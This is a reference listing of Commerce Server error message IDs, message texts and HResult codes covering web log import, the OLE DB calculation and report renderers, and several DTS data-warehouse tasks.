UNLINK_INPSVR_FAILED | Error writing to database while unlinking log data source %1 and server %2 | 0xCB00812AL
READ_PSUM_FAILED | Error reading database. Cannot read job history table %1 | 0xCB00812BL
DISCONNECT_FAILED | Unable to disconnect %1 | 0xCB00812CL
CONNECT_FAILED | Error when connecting to database. Driver %1, Server %2 | 0xCB00812DL
CREATE_PARSER_FAILED | Out of memory. Unable to create new parser %1 | 0xCB00812EL
LAUNCH_THREAD_FAILED | Out of memory. Unable to launch import thread %1 | 0xCB00812FL
READ_INP_FAILED | Error reading database. Cannot read log data sources %1 | 0xCB008131L
READ_SVR_FAILED | Error reading database. Cannot read servers %1 | 0xCB008132L
READ_SITE_FAILED | Error reading database. Cannot read sites %1 | 0xCB008133L
READ_SVRLNK_FAILED | Error reading database. Cannot read server links for : %1 | 0xCB008134L
READ_SITELNK_FAILED | Error reading database. Cannot read site links for : %1 | 0xCB008135L
NO_INPUT_SOURCES | Could not find any log data source %1 | 0xCB008136L
NQ_NULL_HIT_IGNORED | Internal error - Attempt to enqueue null hit ignored %1 | 0xCB008137L
INVALID_HIT_IGNORED | Internal error - Ignoring invalid hit dequeued for processing %1 | 0xCB008138L
NULL_USER_IGNORED | Internal error - Attempt to add null user ignored %1 | 0xCB008139L
USER_FINDREMOVE_FAILED | Internal error - Unable to find and remove user with the specified key %1 | 0xCB00813AL
GET_FILTER_FACTORY_ERROR | Internal error - Error when retrieving the filter factory interface pointer %1 | 0xCB00813BL
GET_DATA_FILTER_ERROR | Internal error - Error when retrieving the data filter interface pointer %1 | 0xCB00813CL
DECODE_ERROR | Error decoding a compressed buffer %1 | 0xCB00813DL
EMPTY_FILE_ERROR | Following log file is empty : %1 | 0xCB00813EL
EMPTY_FTP_ERROR | Following ftp file is empty : %1 | 0xCB00813FL
ERROR_NO_LOGFILE_MATCH | Internal error - Could not find a match for the log file format specified %1 | 0xCB008140L
OPEN_FILE_ERROR | Unable to open file: %1 | 0xCB008141L
READ_FILE_ERROR | Unable to read file: %1 | 0xCB008142L
NO_VALID_HIT_ERROR | This log file does not contain any valid hit : %1 | 0xCB008143L
LOG_FORMAT_DETECTION_ERROR | Commerce Server could not detect the log file format for the following log data source : %1 | 0xCB008144L
FINISH_STATUS | All files have been processed %1 | 0xCB008145L
ERROR_IMPORT_ABORTED_BY_USER | Import job aborted by user %1 | 0xCB008146L
IMPORT_INIT_OUT_OF_MEMORY | Error creating the DB storeit object : out of memory | 0xCB008147L
IMPORT_INIT_STORAGE_DB_ERROR | Error while initializing the DB | 0xCB008148L
IMPORT_INIT_STORAGE_SITE_ERROR | Error loading the Site Summary into the DB | 0xCB008149L
IMPORT_INIT_STORAGE_IMPORT_OPTIONS_ERROR | Error getting the Import Options from the DB | 0xCB00814AL
IMPORT_INIT_STORAGE_TASK_HISTORY_ERROR | Error inserting the TaskHistory into the DB | 0xCB00814BL
OUT_OF_MEMORY_AGG_ENGINE | Error creating the aggregation engine: Out of memory | 0xCB00814CL
OUT_OF_MEMORY_JOB_BUFFER | Error creating the JobBufferMgr: Out of memory | 0xCB00814DL
ERROR_INIT_JOB_BUFFER | Error initializing the job buffer manager | 0xCB00814EL
ERROR_AUTH_MGR_INSTANTIATION | Cannot instantiate the AuthManager object(%1) | 0xCB00814FL
OUT_OF_MEMORY_STRING_ALLOC | Failed allocating the BSTR Commerce site name: Out of memory | 0xCB008150L
ERROR_AUTH_MGR_INIT | Cannot initialize the AuthManager object(%1) for site: %2 | 0x8B008151L
ERROR_DUP_LOG_DATA_SOURCE | Duplicate Log Data Source: %1. Second instance ignored. | 0xCB008152L
OUT_OF_MEMORY_LOG_DATA_SOURCE | Error creating log data source : Out of memory | 0xCB008153L
ADD_LOG_DATA_SOURCE | Adding Log Data Source: %1 | 0x4B008154L
ERROR_ADD_LOG_DATA_SOURCE | Failed adding the log files | 0xCB008155L
ADD_LOG_FILE | Logfile Name: %1 | 0x4B008156L
WARN_NO_DATA | One element of the safearray at location: %1 contains no data | 0x8B008157L
IMPORT_OPTIONS | Import Options\n \tMaxHitsBuffer : %1\n \tBufferMaxSize : %2\n \tHashBucketSize : %3\n \tOverlapMins : %4\n \tUsersPurge : %5 | 0x4B008158L
ERROR_TIME_ZONE_INIT | Timezone initialization failed (%1) | 0xCB008159L
OUT_OF_MEMORY_HITS_PARSER_FACTORY | Could not create a Hits-Parser factory.: Out of memory | 0xCB00815AL
OUT_OF_MEMORY_HITS_PARSER_FACTORY2 | Parser Factory could not create a %1-hits parser. : Out of memory | 0xCB00815BL
BEGIN_PROCESSING | Begin Processing, Time: %1\n | 0x4B00815CL
ERROR_BEGIN_IMPORTS | Cannot begin imports - No Sites for Server %1 | 0xCB00815DL
ERROR_BEGIN_IMPORTS2 | Cannot begin imports - No Servers for LDS %1 | 0xCB00815EL
ERROR_BEGIN_IMPORTS3 | Cannot begin import - No Log Data Sources added | 0xCB00815FL
ERROR_IMPORT_DATA_SOURCE_NOT_ADDED | In Web log import No log data source loaded successfully yet | 0xCB008160L
ERROR_IMPORT_INVALID_CONFIG | Error validating configuration. status code : %1 (%2) | 0xCB008161L
ERROR_IMPORT_LAUNCH_PARSER | Error launching parser. status code : %1 (%2) | 0xCB008162L
ERROR_IMPORT_NO_HITS | Log Import Task did not import any hits | 0xCB008163L
OUT_OF_MEMORY_HITS_BUFFER_INFO | Can't allocate memory for HitBufferInfo structure :Out of memory | 0xCB008164L
ERROR_GLOBAL_MANAGER | Can't get the global job manager | 0xCB008165L
ERROR_JOB_QUEUE | Can't get the job queue | 0xCB008166L
OUT_OF_MEMORY_HITS_ARRAY | Can't create the hits array:Out of memory | 0xCB008167L
OUT_OF_MEMORY_VIRTUAL_BUFFER | Can't create the virtual buffer for the hits strings:Out of memory | 0xCB008168L
ERROR_NEW_SYNC_JOB_GROUP | Can't create a new sync group | 0xCB008169L
OUT_OF_MEMORY_USER_MAP | Can't allocate memory for UsersMap:Out of memory | 0xCB00816AL
OUT_OF_MEMORY_EVENT_PARSER | Can't allocate memory for CEventsParser:Out of memory | 0xCB00816BL
ERROR_EVENTS_PARSER_INIT | Can't init the events parser | 0xCB00816CL
OUT_OF_MEMORY_HIT_BUFFER | Can't allocate memory for HitBufferInfo's virtual buffer pointers:Out of memory | 0xCB00816DL
ERROR_PARSER_EVENT | Error creating the parser buffer event | 0xCB00816EL
ERROR_INVALID_VIRTUAL_BUFFER | Invalid virtual buffer to be used by the hits buffer | 0xCB00816FL
ERROR_JOB_DISPATCH | Error dispatching new job. status code : %1 (%2) | 0xCB008170L
ERROR_HIT_BUFFER | Error hit count == 0 and AllocElem() failed, buf adr : %1, tid: %2 | 0xCB008171L
ERROR_RETRV_NEW_BUFFER | Error retreiving new buffer. status code : %1 (%2) | 0xCB008172L
ERROR_NULL_BUFFER | Error: retreived NULL buffers | 0xCB008173L
OUT_OF_MEMORY_ALLOC_HIT_BUFFER | Error allocating element. This should never happen:Out of memory | 0xCB008174L
ERROR_IE_LAUNCH | Error launching a new IE job. %1 | 0xCB008175L
ERROR_IO_COMPLETION_PORT | Can't associate file with IO Completion Port. %1 | 0xCB008176L
ERROR_W3C_INCOMPATIBLE_LOG_FILE | This is not a valid W3C log file - %1 | 0xCB008177L
ERROR_IO_COMPLETION_PORT2 | Failed creating the IO completion port. | 0xCB008178L
ERROR_TIME_ZONE_INIT2 | Timezone initialization failed (%1) | 0xCB008179L
ERROR_CREATE_VIRTUAL_BUFFER | Failed creating the parser virtual buffer | 0xCB00817AL
ERROR_MAX_HIT_PER_BUFFER | MaxHitPerBuffer is less than 1. Not valid. | 0xCB00817BL
ERROR_TIME_RANGE | TimeRangeInSecs less 1. Not valid. | 0xCB00817CL
ERROR_CREATE_VIRTUAL_BUFFER2 | Failed creating the MultHit parser's virtual buffer | 0xCB00817DL
ERROR_CREATE_HIT_BUFFER | Failed creating the hit processing buffers | 0xCB00817EL
ERROR_CREATE_HIT_ARRAY | Failed creating the temporary hit array | 0xCB00817FL
ERROR_SYNCHRONOUS_FLUSH_STORAGE | In SynchronousFlushStorage(), CreateRow() failure. status=%1 | 0xCB008180L
ERROR_CONNECTION_POOL_INIT | DB connection pool initialization failed. SCODE: -1 | 0xCB008181L
ERROR_IMPORT_OPTIONS_LOAD | Failed loading the import options: %1 | 0xCB008182L
ERROR_BINDER | Error creating Binder object, status code : %1 | 0xCB008183L
ERROR_BINDER_SESS | Error Binding to session number %1, status code : %2 | 0xCB008184L
ERROR_SSN_ID_OUT_OF_BOUNDS | Session ID is out of bounds. Max session : %1, Requested Session : %2 | 0xCB008185L
ERROR_ID_MGR_INIT | Error Intiaizing IdMgr | 0xCB008186L
ERROR_COUNTER_CREATE | Error Creating Counter | 0xCB008187L
ERROR_NO_TABLE | Could not find table : %1 | 0xCB008188L
ERROR_BIND_LDS | Error binding to Log Data Sources. | 0xCB008189L
ERROR_SRVR_GROUP_RETRIEVE | Failed retrieving the server group row: %1 | 0xCB00818AL
ERROR_SRVR_BIND | Error binding to Servers. | 0xCB00818BL
ERROR_CP_BIND | Error binding for checkpoint. | 0xCB00818CL
ERROR_RESTART | Failed adding restart values. | 0xCB00818DL
ERROR_TASKHISTORY_BIND | Error binding to TaskHistory. | 0xCB00818EL
ERROR_SITE_BIND | Error binding to Sites. | 0xCB00818FL
ERROR_INVALID_COLUMNS | The site tables contain some invalid column(s). | 0xCB008190L
ERROR_SITE_NAME_MISMATCH | The loaded site name: %1 is different from the commerce site name: %2 | 0xCB008191L
ERROR_SITE_INIT | LoadSites(), site init failed (%1) | 0xCB008192L
ERROR_NEGATIVE_VALUE | OverlapMins cannot be negative value. Using default value %1 instead | 0xCB008193L
ERROR_INVALID_ACTION | OverlapAction invalid. Using default value %1 instead | 0xCB008194L
ERROR_MAX_EXCEEDED | Only a maximum of 256 site query parameters is supported. | 0xCB008195L
ERROR_BIND | Error binding to Crawlers. | 0xCB008196L
ERROR_BIND1 | Error binding to Qstring Config. | 0xCB008197L
ERROR_INIT_QUERYSTRING | LoadSiteQStringNames(), QueryString Init failed (%1), qstrname=%2 | 0xCB008198L
ERROR_INIT_QUERYSTRING1 | LoadSiteQStringNames(), FillQStringCol failed (%1), qstrname=%2 | 0xCB008199L
ERROR_INIT_QUERYSTRING2 | LoadSiteQStringNames(), Adding Qstring to map failed (%1), qstrname=%2 | 0xCB00819AL
ERROR_REQ_ID_CREATE | Error creating new Request ID. status=%1 | 0xCB00819BL
ERROR_URI_DATA_CREATE | Error creating new pUriData. status=%x | 0xCB00819CL
ERROR_STORE_REQUEST | In StoreRequest(), ParseLevelDirs() failure, %1. status=%2 | 0xCB00819DL
ERROR_STORE_REQUEST1 | In StoreRequest(), Failed to combine queryString to uri | 0xCB00819EL
ERROR_STORE_REQUEST2 | In StoreRequest(), CreateRow() failure. status=%1 | 0xCB00819FL
ERROR_STORE_REQUEST3 | NULL pDACommerceEventStrings referred in storeit | 0xCB0081A0L
ERROR_STORE_REQUEST4 | NULL pEventsParser referred in storeit | 0xCB0081A1L
ERROR_STORE_COMMERCE_EVENT | Could not store the commerce event (%1) | 0xCB0081A2L
ERROR_CLASS_REMOVE | Could not remove a stg class from the list. (%1) | 0xCB0081A3L
ERROR_VECTOR_REMOVE | Could not remove a value vector from the list. (%1) | 0xCB0081A4L
ERROR_STORE_PATH | In StorePath(), CreateRow() failure. status=%1 | 0xCB0081A5L
ERROR_STORE_PATH_INFO | In StorePathInfo(), CreateRow() failure. status=%1 | 0xCB0081A6L
ERROR_VISIT_ID_CREATE | Error creating new Visit ID. status=%1 | 0xCB0081A7L
ERROR_CREATE_ROW_INSERTUSERVISIT | Cannot createRow in InsertUserVisit. status=%1 | 0xCB0081A8L
ERROR_SET_COLUMNS_INSERTUSERVISIT | Cannot SetColumns in InsertUserVisit. status=%1 | 0xCB0081A9L
ERROR_CREATE_ROW_INSERTSUBTASK | Cannot createRow in InsertLogImportSubTask. status=%1 | 0xCB0081AAL
ERROR_SET_COLUMNS_INSERTSUBTASK | Cannot SetColumns in InsertLogImportSubTask. status=%1 | 0xCB0081ABL
ERROR_BINDING_TO_COMMERCE_EVENT | Error binding to Commerce Event Config. | 0xCB0081ACL
ERROR_WRAPPER | Initialization of Memdef Wrapper failed, URL : %1, Status Code :%2 | 0xCB0081ADL
ERROR_MEMBER_DEF | Error filling member definition. (%1) | 0xCB0081AEL
ERROR_BIND_IMPORT_OPTIONS | Error binding to Import Options. | 0xCB0081AFL
ERROR_IMPORT_OPTIONS_FETCH | Error fetching to Import Options. Check your database | 0xCB0081B0L
ERROR_CREATE_OPEN_USER_VISIT | Error creating new open user visit ID. status=%1 | 0xCB0081B1L
ERROR_CREATE_ROW_INSERT_OPEN_USER_VISIT | Cannot createRow in InsertOpenUserVisit. status=%1 | 0xCB0081B2L
ERROR_SET_COLUMNS_INSERT_OPEN_USER_VISIT | Cannot SetColumns in InsertOpenUserVisit. status=%1 | 0xCB0081B3L
ERROR_BIND_OPEN_USER_VISIT | Error binding to Open User Visits. | 0xCB0081B4L
ERROR_ADD_USER_LOAD_OPEN_USER_VISIT | Failed re-add open user in LoadOpenUserVisit. status=%1 | 0xCB0081B5L
ERROR_NEW_ID_CREATE | Error creating new Task ID. status=%1 | 0xCB0081B6L
ERROR_SITE_SUMMARY_BIND | Error binding to Site Summary. | 0xCB0081B7L
ERROR_BIND_COMMERCE_EVENT_MEMBER | Commerce Event configuration is misconfigured for %1. | 0xCB0081B8L
ERROR_COOKIE_DECODING | Error(0x%1): Failed decoding the cookie %2 | 0xCB0081B9L
ERROR_NULL_HITS_BUFFER | Null hits buffer, tid=0x%1 | 0xCB0081BAL
ERROR_NULL_HITS_PROCESSING | Error processing hit in the inference engine=0x%1 | 0xCB0081BBL
ERROR_COMMIT_USER | Error commiting user | 0xCB0081BCL
ERROR_MATCH_CONTENT_CALLED | MatchContent called | 0xCB0081BDL
ERROR_ADDING_COMMERCE_STRINGS | Couldn't add commerce event string to the array(0x%1) | 0xCB0081BEL
ERROR_PARSE_REQUEST | ParseRequestQueryString2:Could not resolve Query parameter to ID after buffer full (0x%1) | 0xCB0081BFL
ERROR_PARSE_REQUEST_STRING | ParseRequestQueryString2:Could not resolve Query parameter to ID (0x%1) | 0xCB0081C0L
ERROR_FILL_STRING | Error filling multi-value query string column (0x%1) | 0xCB0081C1L
ERROR_RESOLVE_ID | Error resolving multi-value ID's (0x%1) | 0xCB0081C2L
ERROR_QUERY_STRING_PARAMETERS | Too many query string parameters (32K Unique Name & Value strings only) | 0xCB0081C3L
ERROR_RESOLVE_PARAMETERS | ParseRequestQueryString2:Could not resolve Query parameter to ID for Parm name (0x%1) | 0xCB0081C4L
ERROR_RESOLVE_PARAMETERS_ID | ParseRequestQueryString2:Could not resolve Query parameter to ID for Parm value (0x%1) | 0xCB0081C5L
ERROR_RESOLVE_PARAMETERS_VALUE | ParseRequestQueryString2:Could not resolve Query value to ID (0x%1) | 0xCB0081C6L
ERROR_RESOLVE_MULTI_VALUE | Could not resolve multi-value ID to string (0x%1) | 0xCB0081C7L
ERROR_TRUNCATION | More than 255 multi-values are truncated to 255 values for property %1 (%2) | 0xCB0081C8L
ERROR_VECTOR | Cannot convert more than 255 strings in a vector | 0xCB0081C9L
ERROR_RESOLVE_MV_STRING | Could not resolve MV string to ID (%1) | 0xCB0081CAL
ERROR_DB_ARRAY | Error converting DB Vector array to IDs (0x%1) | 0xCB0081CBL
ERROR_RESOLVE_MULTI_VALUE_STRING_REP | Could not re-resolve multi-value string representation to ID (0x%1) | 0xCB0081CCL
ERROR_RERESOLVE_MULTI_VALUE | Could not re-resolve multi-value name to ID (%1, 0x%2) | 0xCB0081CDL
ERROR_RESOLVE_ARRAY_VALUE | Error resolving array of values IDs to ID (0x%1) | 0xCB0081CEL
ERROR_PARSE_REQUEST_QUERY_STRING | ParseRequestQueryString2:Could not reset query cache (0x%1) | 0xCB0081CFL
ERROR_RESOLVE_STRING_TO_ID_OUTOFMEMORY | ResolvedStringToId:Out of memory error allocating new Unique buffer | 0xCB0081D0L
ERROR_RESOLVE_STRING_TO_ID_BUFFER_INIT | ResolvedStringToId:Error initializing unique buffer (0x%1) | 0xCB0081D1L
ERROR_RESOLVE_STRING_TO_ID_UNIQUE_DATA | ResolvedStringToId:Error getting unique data for %1 (0x%2) | 0xCB0081D2L
ERROR_RESOLVE_STRING_TO_ID_QUERY_PARAMS | ResolvedStringToId:Error removing query parms from the map (0x%1) | 0xCB0081D3L
ERROR_RESOLVE_STRING_TO_ID_STRING_CONVERT | ResolvedStringToId:Error DataToId converting string %1 (0x%2) | 0xCB0081D4L
ERROR_BSTR_ALLOC | Failed allocating the BSTR encoded cookie | 0xCB0081D5L
ERROR_COOKIE_DECODE | In ParseCookie2: URL decoding for cookie value failed | 0xCB0081D6L
ERROR_COMMITING_USER | Error commiting user B#: %1 | 0xCB0081D7L
ERROR_SOURCE_TIMEZONE | Failed getting source timezone %1 | 0xCB0081D8L
ERROR_DESTINATION_TIMEZONE | Failed getting destination timezone %1 | 0xCB0081D9L
ERROR_BINDING_TIMEZONE | Error binding to Timezone Info. | 0xCB0081DAL
ERROR_RETRIEVING_TIMEZONE | Failed retrieving the timezone %1: 0x%2 | 0xCB0081DBL
ERROR_ALLOCATING_VSTRING | Error allocating from VString's virtual buffer | 0xCB0081DCL
ERROR_DB_CONNECTION_POOL_INIT | DB connection pool initialization failed. SCODE: -1 | 0xCB0081DDL
ERROR_ADD_DATA | AddData failed for the Class %1 | 0xCB0081DEL
ERROR_ADD_DATA_MEMBER | AddData falied for the Class : %1, Member : %2 | 0xCB0081DFL
ERROR_QUERYING_EXPORT | Error in querying exportable categories | 0xCB0081E0L
ERROR_WRITING | Error writing categories and products | 0xCB0081E1L
ERROR_PROVIDER_WRAPPER | Cannot initilaize the provider wrapper | 0xCB0081E2L
ERROR_TIME_ZONE | Cannot set the timezones | 0xCB0081E3L
ERROR_ADDING_COLUMNS | Error Adding column info for the Column : %1 | 0xCB0081E4L
IMPORT_CANCEL | User chose to cancel import. | 0xCB0081E5L
ERROR_CHECKPOINT_JOB | Error in creating checkpoint job | 0xCB0081E6L
ERROR_CHECKPOINT | Error in checkpoint initialization | 0xCB0081E7L
ERROR_OUTOFMEM | Out of memory | 0xCB0081E8L


OLE DB Calculation Renderer Error Messages

Error Messages

Message ID | Message Text | HResult
CALC_OUTPUT_TYPE | Calculation renderer : Calculation Output type is not set or invalid | 0xCB00A000L
CALC_INVALID_AGGR_TYPE | Calculation renderer : Invalid aggregation type specified | 0xCB00A001L
CALC_OUTPUT_FILE_TYPE | Calculation renderer : Output file property for the Calcrenderer is not set | 0xCB00A002L
CALC_ROLLUP_VIEW | Calculation renderer : Cannot create the rollupview. %1 | 0xCB00A003L
CALC_ROW_AGGR | Calculation renderer : Cannot rollup aggregates | 0xCB00A004L
CALC_TABLE_CPY | Calculation renderer : Cannot copy the source table to the destination database. %1 | 0xCB00A006L
CALC_RENDER_AGGR | Calculation renderer : Couldnt not aggregate and render in RenderCalc(). %1 | 0xCB00A007L
CALC_RENDER_CALC | Calculation renderer : Render calculation failed. %1 | 0xCB00A008L
CALC_DISKFULL | Calculation renderer : %1 | 0xCB00A009L
CALC_ERR_FASTRENDER | Calculation renderer : Error in fastrendering %1 | 0xCB00A00AL
CALC_RENDERCSV | Calculation renderer : Error in rendering a CSV file %1 | 0xCB00A00BL
CALC_RENDERHTML | Calculation renderer : Error rendering an HTML file %1 | 0xCB00A00CL
CALC_OUTPUT_TABLE | Calculation renderer : Ouput table name is not set. | 0xCB00A00DL
CALC_DEST_DSN | Calculation renderer : Destination DSN is not set. | 0xCB00A00EL
CALC_RENDER_INTO_DB_TABLE | Calculation renderer : Error rendering into a DB table %1 | 0xCB00A00FL
CALC_OUTPUT_FILENAME | Calculation renderer : Output table name is not set | 0xCB00A010L
CALC_RENDER_SUCCESS | Calculation renderer : Calculation rendering successful | 0xCB00A011L
CALC_INVALID_FILE_PATH | Calculation renderer : Invalid file name or path : %1 | 0xCB00A012L
CALC_SQLSERVER_NOTFOUND | Calculation renderer : Please check the SQL connection information. %1 | 0xCB00A013L
CALC_OLAPSERVER_NOTFOUND | Calculation renderer : Please check the OLAP connection information. %1 | 0xCB00A014L
CALC_MDX_NOTSUPPORTED | Calculation renderer : MDX query not supported. %1 | 0xCB00A015L
CALC_MDX_ZERO_X_DIM | Calculation renderer : Cannot render report, cellset does not contain positions in column dimension. %1 | 0xCB00A016L


OLE DB Report Renderer Error Messages

Error Messages

Message ID | Message Text | HResult
RPT_RENDER_SUCCESS | Report renderer : Report rendering successful. %1 | 0x4B00AE00L
RPT_RENDER_FAILURE | Report renderer : Report renderer failed. %1 | 0xCB00AE01L
RPT_DWCONN_FAILURE | Report renderer : Report renderer failed to connect to data warehouse. %1 | 0xCB00AE02L
RPT_DESTCONNSTR_MISSING | Report renderer : Connection string for report export destination is missing. %1 | 0x8B00AE03L
RPT_DESTTABLE_MISSING | Report renderer : Table name for report export is missing. %1 | 0x8B00AE04L
RPT_DEFINITION_MISSING | Report renderer : Report definition is missing from data warehouse. %1 | 0x8B00AE05L
RPT_CALCRENDERER_MISSING | Report renderer : Calc renderer is missing or not registered. %1 | 0xCB00AE06L
RPT_CALCRENDERER_INITFAILED | Report renderer : Calc renderer initialization failed. %1 | 0xCB00AE07L
RPT_CALCRENDERER_ADDCOLDIMFAILED | Report renderer : Calc renderer failure adding column dimension. %1 | 0x8B00AE08L
RPT_CALCRENDERER_ADDROWDIMFAILED | Report renderer : Calc renderer failure adding row dimension. %1 | 0x8B00AE09L
RPT_CALCRENDERER_ADDMEASUREFAILED | Report renderer : Calc renderer failure adding measure. %1 | 0x8B00AE0AL
RPT_CALCRENDERER_FAILED | Report renderer : Calc renderer failed. %1 | 0xCB00AE0BL
RPT_RENDERING_FAILED | Report renderer : Error rendering report. %1 | 0xCB00AE0CL
RPT_INSTANCE_MISSING | Report renderer : Report instance missing. %1 | 0xCB00AE0DL
RPT_INVALID_REPORTNAME | Report renderer : Invalid report name. %1 | 0xCB00AE0EL
RPT_PARAMETER_ERROR | Report renderer : Error processing report parameters. %1 | 0xCB00AE0FL
RPT_QUERY_ERROR | Report renderer : Error executing report query. %1 | 0xCB00AE10L
RPT_TYPE_INVALID | Report renderer : Report type is invalid. %1 | 0xCB00AE11L


DTS Task Error Messages for the OLE DB

This section contains:

  • Catalog Data Import DTS Task Error Messages for the OLE DB
  • Transaction Data Import DTS Task Error Messages for the OLE DB
  • Report Preparation DTS Task Error Messages for the OLE DB
  • Web Log Import, Data Deletion, IP Resolution, and Configuration Syncronization DTS Task Error Messages for the OLE DB


Catalog Data Import DTS Task Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
CATALOG_DTS_FAILED | Catalog DTS task: Import failed | 0xCB009000L
CLTG_PROPERY_BAG_LOAD_ERR | Catalog DTS task: cannot load the properties from the property bag | 0xCB009001L
CLTG_PROPERY_BAG_SAVE_ERR | Catalog DTS task: cannot save the properties into the property bag | 0xCB009002L
CLTG_DTS_ERR_WRTITING_STATUS | Catalog DTS task: cant write the status into the taskhistory table | 0xCB009003L
CLTG_DTS_ERR_READING_LAST_MOD_DATE | Catalog DTS task : task cant read the last modified date | 0xCB009004L
CTLG_DTS_ERR_READADMIN | Catalog DTS task : cant read the admin information | 0xCB009005L
CTLG_DTS_INFO_SUCCESS | Catalog DTS task : successfully imported the data | 0x4B009006L
CTLG_DTS_ERR_CREATING_ID_COUNTER | Catalog DTS task : Error creating the ID counter | 0xCB009007L
CTLG_DTS_ERR_TIME_CONV | Catalog DTS task : Cannot convert systemtime to filetime, while trying to convert current time to the GMT | 0xCB009008L
CTLG_DTS_ERR_OPEN_REC_FAILED | Catalog DTS task : OpenRecordSet() failed in the catalog DTS task : %1 | 0xCB009009L
CTLG_DTS_CTLGGLOBAL | Catalog DTS task : Error Transfering the CatalogGlobal data | 0xCB00900AL
CTLG_DTS_CATHRCHY | Catalog DTS task : Error Transfering the hierarchical data | 0xCB00900BL
CANT_READ_TIMEZONE | Catalog DTS task : Error reding the timeZone info from the admin store | 0xCB00900CL
CTLG_DTS_NO_SITES_FOUND | Catalog DTS task : no sites found to be associated with the product catalog | 0xCB00900DL


Transaction Data Import DTS Task Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
TRANS_DTS_ERR_READING_ADMIN | Transaction DTS task : Error reading from the admin store | 0xCB0097FFL
TRANS_DTS_PARSEDSN | Transaction DTS task :Error parsing the DSN | 0xCB009800L
TRANS_DTS_QUERYCOLINFO | Transaction DTS task :cannot query the transaction database | 0xCB009801L
TRANS_DTS_EXEC_FAILED | Transaction DTS task :Execution failed | 0xCB009802L
TRANS_DTS_GMTTIME | Transaction DTS task :Error converting the current time to GMT | 0xCB009803L
TRANS_DTS_SRC_TIMEZONE | Transaction DTS task :Error reading the source timezone | 0xCB009805L
TRANS_DTS_SRC_DSN | Transaction DTS task :cannot connect to source database %1 | 0xCB009806L
TRANS_DTS_EXEC_SUCCESS | Transaction DTS task :successfully imported the data | 0xCB009807L
DTS_ERR_BINDING | Trans-Cltl DTS task provider wrapper : Error Binding to schema session , status code : %1 | 0xCB009808L
DTS_IDCOUNTER | Trans-Cltl DTS task provider wrapper : Error creating the ID counter : %1 | 0xCB009809L
DTS_SESS_CREATE_CMD | Trans-Cltl DTS task provider wrapper : Session does not support CreateCommand : %1 | 0xCB00980AL
DTS_CREATE_CMD_TXT | Trans-Cltl DTS task provider wrapper : Command does not support Command Text interface : %1 | 0xCB00980BL
DTS_CMD_OBJ | Trans-Cltl DTS task provider wrapper : Provider Command object does not support the command interface : %1 | 0xCB00980CL
DTS_CMD_TXT_ERR | Trans-Ctlg DTS task provider wrapper : Could not set command text : %1 | 0xCB00980DL
DTS_CMD_SCHEMA_MODE_ERR | Trans-Ctlg DTS task provider wrapper : Execute of SchemaModeOn failed : %1 | 0xCB00980EL
DTS_ERR_ALLOC_COLUMNINFO | Trans-Ctlg DTS task provider wrapper : Cannot Allocate ClassInfo in AdddColumnInfo : %1 | 0xCB00980FL
DTS_ERR_ADDING_TO_MAP | Trans-Ctlg DTS task provider wrapper : Error while setting into map in AddColumnInfo() : %1 | 0xCB009810L
DTS_OUTOFMEMORY | Trans-Ctlg DTS task provider wrapper : Out of memory : %1 | 0xCB009811L
DTS_ERR_ADDING_TO_LIST | Trans-Ctlg DTS task provider wrapper : Error while Adding list in AddColumnInfo() : %1 | 0xCB009812L
DTS_DONT_EXIST_IN_MAP | Trans-Ctlg DTS task provider wrapper : Error in Adddata(), class doesnt exist in the map : %1 | 0xCB009813L
DTS_LOOKUP_MEMB_ERR | Trans-Ctlg DTS task provider wrapper : Error doing a lookup for the ClassName %1, MemberName %2 | 0xCB009814L
DTS_TIME_CONV_ERR | Trans-Ctlg DTS task provider wrapper : Time conversion error | 0xCB009815L
DTS_GMT_TIMECONVERT_ERR | Trans-Ctlg DTS task provider wrapper : Error converting the Time from Local to the GMT | 0xCB009816L
DTS_MAP_LOOKUP_ERR | Trans-Ctlg DTS task provider wrapper : Error in Writedata, class %1, doesnt exist in the map | 0xCB009817L
DTS_FILLCOLS | Trans-Ctlg DTS task provider wrapper :Cannot find ids in the Fillscols() | 0xCB009818L
DTS_CONN_POOL_ERR | Trans-Ctlg DTS task provider wrapper :DB connection pool initialization failed | 0xCB009819L
DTS_IDCOUNTER_ERR | Trans-Ctlg DTS task provider wrapper : Cannot create ID counter | 0xCB00981AL
DTS_TIMEZONE | Trans-Ctlg DTS task provider wrapper : Cannot Init timezone object | 0xCB00981BL


Report Preparation DTS Task Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
PREPAREREPORTS_DTS_SRC_DSN | Prepare Reports DTS task :cannot connect to source database %1 | 0xCB00B000L
PREPAREREPORTS_GENERAL_ERROR | Prepare Reports DTS task : %1 | 0xCB00B001L
PREPAREREPORTS_PARTITIONANALYZER_ERROR | Prepare Reports DTS task : Failed to initialize PartitionAnalyzer: %1 | 0xCB00B002L
PREPAREREPORTS_DTS_INFO_SUCCESS | Prepare Reports DTS task : succesfully completed | 0x4B00B003L
PREPAREREPORTS_DTS_INFO_FAILED | Prepare Reports DTS task : failed to complete | 0x4B00B004L


Web Log Import, Data Deletion, IP Resolution, and Configuration Syncronization DTS Task Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
IPRES_DTS_INITIALIZE | Ip Resolution Task :Failed to initialize, invalid connection information %1 | 0xCB00C000L
IPRES_DTS_RESOLVE | Ip Resolution Task :Failed to Resolve IP addresses: %1 | 0xCB00C001L
DELETE_DTS_INITIALIZE | Delete Task :Failed to initialize, invalid connection information: %1 | 0xCB00C002L
DELETE_DTS_CRITERIA | Delete Task :Task failed because no delete criteria was selected | 0xCB00C003L
SYNC_DTS_INITIALIZE | Sync Task :Failed to initialize, invalid connection information: %1 | 0xCB00C004L
IMPORT_DTS_INITIALIZE | Log Import Task :Failed to initialize, invalid connection information: %1 | 0xCB00C005L
IMPORT_DTS_DIR | Log Import Task :Directory not found: %1 | 0xCB00C006L
IMPORT_DTS_LOGPERIOD | Log Import Task :Not a valid LogFile rotation period: %1 | 0xCB00C007L
IMPORT_DTS_NOLOGS | Log Import Task :No Logs files were selected for import | 0xCB00C008L
IMPORT_DTS_INIT | Log Import Task :Failed to initialize, either the connection information is invalid or the Data Warehouse is in an incorrect state | 0xCB00C009L
MBTOADMIN_INIT | DW Pup :Permission denied, error importing webserver properties from the IIS metabase for: %1 | 0xCB00C00AL
MBTOADMIN_INVALIDSITENAME | DW Pup :Invalid Web Server name: %1 | 0xCB00C00BL
IMPORT_DTS_NOTINITIALIZED | Web Log Import task not initialized successfully yet. | 0xCB00C00CL
IMPORT_DTS_INVALIDCONFIG | Error validating configuration. status code : %1 (%2) | 0xCB00C00DL
